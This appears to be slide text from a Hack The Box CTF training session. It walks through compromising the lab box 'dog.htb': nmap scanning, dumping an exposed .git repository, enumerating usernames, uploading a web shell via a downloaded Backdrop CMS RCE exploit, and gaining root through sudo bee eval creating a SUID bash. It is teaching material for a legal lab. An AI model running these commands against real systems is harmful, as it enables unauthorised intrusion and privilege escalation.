START HERE

Onboarding → htbzh.ch/onboarding.html

CODE     gohack26

SLIDES

Download the slides → htbzh.ch/schedule.html

A CTF and cybersecurity training platform

Over 400 vulnerable virtual machines — “boxes” — plus challenges, guided learning paths and competitive CTF events. You attack real systems, legally, in a lab built to be attacked.

Term

What it means, and where it comes from

To pwn

To fully compromise a system. A typo of “own”, from video-game culture. Lives on in Have I Been Pwned, Pwn2Own and the Pwnie Awards.

Capture the Flag (CTF)

A security competition where solving a challenge yields a flag string you submit for points. Borrowed from military exercises.

Red team / blue team

Offensive side (adversary simulation) versus defensive side (hardening, detection, response). Also from military exercises.

1337 / leet

“Elite”, written in leetspeak, where l3tt3r5 4re 5w4pp3d f0r l00k4l1ke d1g1t5. From the bulletin-board slang of the 1980s.

Foothold

Initial access to the target machine, usually via remote code execution and usually as a low-privileged user. Gets you the user.txt flag.

Privesc

Privilege escalation: going from a low-privileged user to root (Linux) or SYSTEM (Windows). Gets you the root.txt flag.

# 1 — open the hosts file as root

$ sudo nano /etc/hosts

# 2 — add one line at the end, with your target IP

10.129.X.X    dog.htb

nmap works on the transport layer, shaded above: it knocks on every flat number — all 65,535 of them — and writes down which ones answer.

THE TWO-PASS HABIT

$ nmap -p- --min-rate=1000 <target>   # which doors exist

$ nmap -p22,80 -sV -sC <target>      # what is behind them

$ nmap -sC -p80 dog.htb

Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-29 01:23 EDT

Nmap scan report for dog.htb (10.129.82.98)

Host is up (0.0073s latency).

 

PORT   STATE SERVICE

80/tcp open  http

|_http-title: Home | Dog

|_http-generator: Backdrop CMS 1 (https://backdropcms.org)

| http-robots.txt: 22 disallowed entries (15 shown)

| /core/ /profiles/ /README.md /web.config /admin

| /comment/reply /filter/tips /node/add /search /user/register

|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply

 

Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds

$ nmap -sC -p80 dog.htb

Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-29 01:23 EDT

Nmap scan report for dog.htb (10.129.82.98)

Host is up (0.0073s latency).

 

PORT   STATE SERVICE

80/tcp open  http

|_http-title: Home | Dog

| http-git:

|   10.129.82.98:80/.git/

|     Git repository found!

|     Repository description: Unnamed repository; edit this file 'description' to name the...

|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...

| http-robots.txt: 22 disallowed entries (15 shown)

| /core/ /profiles/ /README.md /web.config /admin

| /comment/reply /filter/tips /node/add /search /user/register

|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply

 

Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds

No directory listing required. The webserver only has to hand over files when asked by name — and git’s own layout makes every name predictable.

# get the tool

$ git clone https://github.com/arthaud/git-dumper.git

$ cd git-dumper

$ pip install -r requirements.txt

 

# dump the repository into an empty folder

$ mkdir ~/dog-src

$ ./git_dumper.py http://dog.htb ~/dog-src

 

# read what came back

$ cd ~/dog-src && git log --oneline

URL first, output directory second — and the directory must be empty. If pip refuses to install system-wide, use pip install --user -r requirements.txt or a virtualenv.

$ head -20 settings.php

<?php

/**

 * @file

 * Main Backdrop CMS configuration file.

 */

 

/**

 * Database configuration:

 *

 * Most sites can configure their database by entering the connection string

 * below. If using primary/replica databases or multiple connections, see the

 * advanced database documentation at

 * https://api.backdropcms.org/database-configuration

 */

$database_prefix = '';

 

/**

 * Site configuration files location.

 *

http://dog.htb/?q=user/login

PASSWORD RESET — A SECOND ORACLE

“Sorry, meow is not recognized as a user name or an email address.”

Two wrong guesses, two different answers — and the difference tells you which half was right. That is username enumeration: a list of real accounts, for free, before any password is tried.

$ git clone https://github.com/FisMatHack/BackDropScan.git

 

$ python BackDropScan.py --url http://dog.htb --userenum \

      --userslist /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

[+] Valid username: john

^C[!] Exiting...

The catch: one HTTP request per candidate, strictly in sequence. Against a ten-million-name list that is hours, and we have until 12:15. Hence the Ctrl-C.

$ ffuf -u 'http://dog.htb/?q=accounts/FUZZ' \

       -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

 

________________________________________________

 

[WARN] Caught keyboard interrupt (Ctrl-C)

An account that exists answers 403 — you may not read someone else’s profile. An unknown name 404s and never shows up. The status code is the entire oracle.

$ curl http://dog.htb/core/profiles/testing/testing.info

name = Testing

description = Minimal profile for running tests. Includes absolutely required modules only.

version = BACKDROP_VERSION

backdrop = 1.x

type = profile

hidden = TRUE

 

dependencies[] = layout

 

; Added by Backdrop CMS packaging script on 2024-03-07

project = backdrop

timestamp = 1709862662

$ curl -o exploit.py https://www.exploit-db.com/download/52021

 

$ python exploit.py http://dog.htb

Backdrop CMS 1.27.1 - Remote Command Execution Exploit

Evil module generating...

Evil module generated! shell.zip

Go to http://dog.htb/admin/modules/install and upload the shell.zip for Manual Installation.

Your shell address: http://dog.htb/modules/shell/shell.php

Authenticated means: the module upload form needs the admin session from task 5. Without those credentials this exploit is just a zip builder.

$ tar cvzf shell.tar.gz shell

shell/

shell/shell.info

shell/shell.php

Once it installs, the shell is live at http://dog.htb/modules/shell/shell.php

One shot. The box deletes the evil module after a single command execution — a CTF design choice, because the machine is shared. Have the listener running before you fire.

$ tail -5 /etc/passwd

jobert:x:1000:1000:jobert:/home/jobert:/bin/bash

lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false

mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false

_laurel:x:997:997::/var/log/laurel:/bin/false

A human account has a UID of 1000 or above and a login shell. Everything ending in /bin/false is a service. That leaves two candidates: jobert and johncusack.

CONNECT AS johncusack

$ ssh johncusack@dog.htb

$ sudo -l

[sudo] password for johncusack:

Matching Defaults entries for johncusack on dog:

    env_reset, mail_badpass,

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

 

User johncusack may run the following commands on dog:

(ALL : ALL) means as any user and any group — root included. One binary, and no NOPASSWD tag, so it asks for johncusack’s own password. Which settings.php already handed us.

--root

Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.

Run through sudo, bee starts in whatever directory you are standing in — johncusack’s home, not the webroot. It finds no Backdrop there and refuses to do anything useful. So: where is the site actually installed?

eval

Description: Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

Aliases: ev , php-eval

Arguments: code — The PHP code to evaluate.

EXAMPLE

$ sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("id")'

johncusack@dog:~$ sudo bee --root=/var/www/html eval 'shell_exec("cp /bin/bash /tmp")'

johncusack@dog:~$ sudo bee --root=/var/www/html eval 'shell_exec("chmod u+s /tmp/bash")'

johncusack@dog:~$ ls -la /tmp/bash

-rwsr-xr-x 1 root root 1183448 Oct 30 03:11 /tmp/bash

johncusack@dog:~$ /tmp/bash -p

bash-5.0# id

Why the -p?

A SUID binary starts with the owner’s effective UID — root, because root created the copy. But bash notices that its effective UID does not match the real one and drops the privilege straight back to johncusack. -p keeps it. Without the flag you get a prompt that looks right and can do nothing.